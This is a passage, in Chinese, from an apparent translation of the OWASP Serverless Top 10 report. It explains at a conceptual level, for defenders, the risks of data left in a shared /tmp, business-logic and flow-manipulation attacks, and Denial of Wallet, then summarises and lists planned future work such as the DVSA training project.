如果容器没有被销毁，那么无服务器的环境空间在调用之间是被共享的，这意味着，如果应

用将一些数据写入用户空间（如：/tmp），并且在使用后没有手动删除这些数据，并且认为容器

将会销毁，那么攻击者就可以利用这些数据窃取其他用户的数据。 

这可能需要另一个漏洞，为攻击者提供对该环境访问权限。如果应用容易受到代码或者命令

注入的攻击，攻击者只需要简单地访问/tmp 文件夹并窃取敏感数据即可。 

在传统应用上，这通常是在应用容易受到遍历攻击时实现的。在无服务器（AWS）上，唯一

可写的空间是/tmp。然而它只是暂时的（或仅限于容器），这使得风险略低一些。 

 

X: 业务逻辑/流程操作 
        业务逻辑攻击可能是检测到的最复杂攻击，通常具有很高的业务影响。诸如识别、约束和流操作之类

的攻击对于无服务器可能不是唯一的，但事实是，使用无状态的微服务意味着在依赖之前可能发生或已经

发生的事件时，应考虑详细设计。 

此外，在某些情况下，函数只能由某些调用者调用。但是，他们是无状态的，这意味着他们可能无法

被核实。 
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这种行为可以通过以下方式实现： 

• 攻击配置错误的公共资源，触发一个内部功能来绕过执行流程（请参考 A2：失效的身

份验证攻击案例场景）； 

• 攻击那些访问控制没有被强制执行并导致流操作被执行的资源； 

• 通过操作函数所依赖的参数来访问未经授权的数据，而没有方法对其进行验证； 

• 修改客户端代码以绕过限制。 

仅无状态体系结构就使逻辑和流操作成为无服务器应用中的实际风险，这很容易导致 DoS、

DoW、调用内部功能、执行流绕过等。在无服务器应用中，总体风险应该明显更高。 
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总结 

 

在研究了无服务器架构下的每个风险之后，我们可以肯定地说，这些风险并没有被消除，它

们只是发生了变化，或好或坏。 

令人感兴趣的应用数据可能在其他地方，但它仍然需要适当的保护。虽然环境数据可能没有

那么令人感兴趣，但是将数据传播到云存储需要仔细考虑谁可以访问它，以及如何访问它。即使

只打开一个函数，也可能导致大量数据泄漏。 

无服务器拥有更标准化的身份验证和授权模型，可能会改变游戏规则。应用是在微服务中构

建的，这一事实为我们提供了一个细粒度的体系结构，允许开发人员和 DevOps 人员为更多的独

立功能使用精心设计的 IAM 权限，从而创建一个在底层拥有最少特权的系统。这可能是一项艰巨

而反复多次执行的任务，但有机会赋予每种功能各自的角色，这一切都是值得的。 

由于可以在无服务器环境中使用 Python 和 NodeJS 等语言，我们的应用比以往更容易受到代

码注入的攻击。但在容器内可能就不那么明显了。 

但除了我们熟知的攻击之外，还有一些无服务器指定的攻击。由于函数的短暂状态，拒绝服

务（DoS）攻击在无服务器中风险更小。但是，拒绝钱包（DoW）让攻击者并不试图阻止服务，

而是浪费组织的钱，这是一个更令人担忧的问题（未来的工作）。 

所有这一切意味着黑客必须想出一个不同的攻击方法，这意味着不同的攻击向量。应用开发

人员需要改变他们的思维方式，因为几乎所有针对传统系统的缓解措施都不适用于无服务器的世

界。 
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未来的工作 

 

本报告的目标是提供对无服务器安全领域的初步了解。所有易受攻击的代码示例都可以在项

目 Github 存储库中找到。 

下一个阶段的工作包括： 

• 从组织和经验丰富的从业者获取真实的数据，以应用于后续的《OWASP 无服务器应

用风险 Top 10》报告中。这将允许应用安全社区为无服务器应用的安全性做出贡

献。旨在使尽可能多的从业人员和尽可能多的语言能够参与无服务器安全性； 

• 基于本报告提供的代码示例，我们正在着手发布第一个版本的 DVSA（Damn 

Vulnerable Serverless Application）开源项目，这将帮助安全从业人员为无服务器时

代做好准备。 

如你有兴趣参与上述计划，请与我联络 tal.melamed@owasp.org。 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

https://github.com/OWASP/Serverless-Top-10-Project
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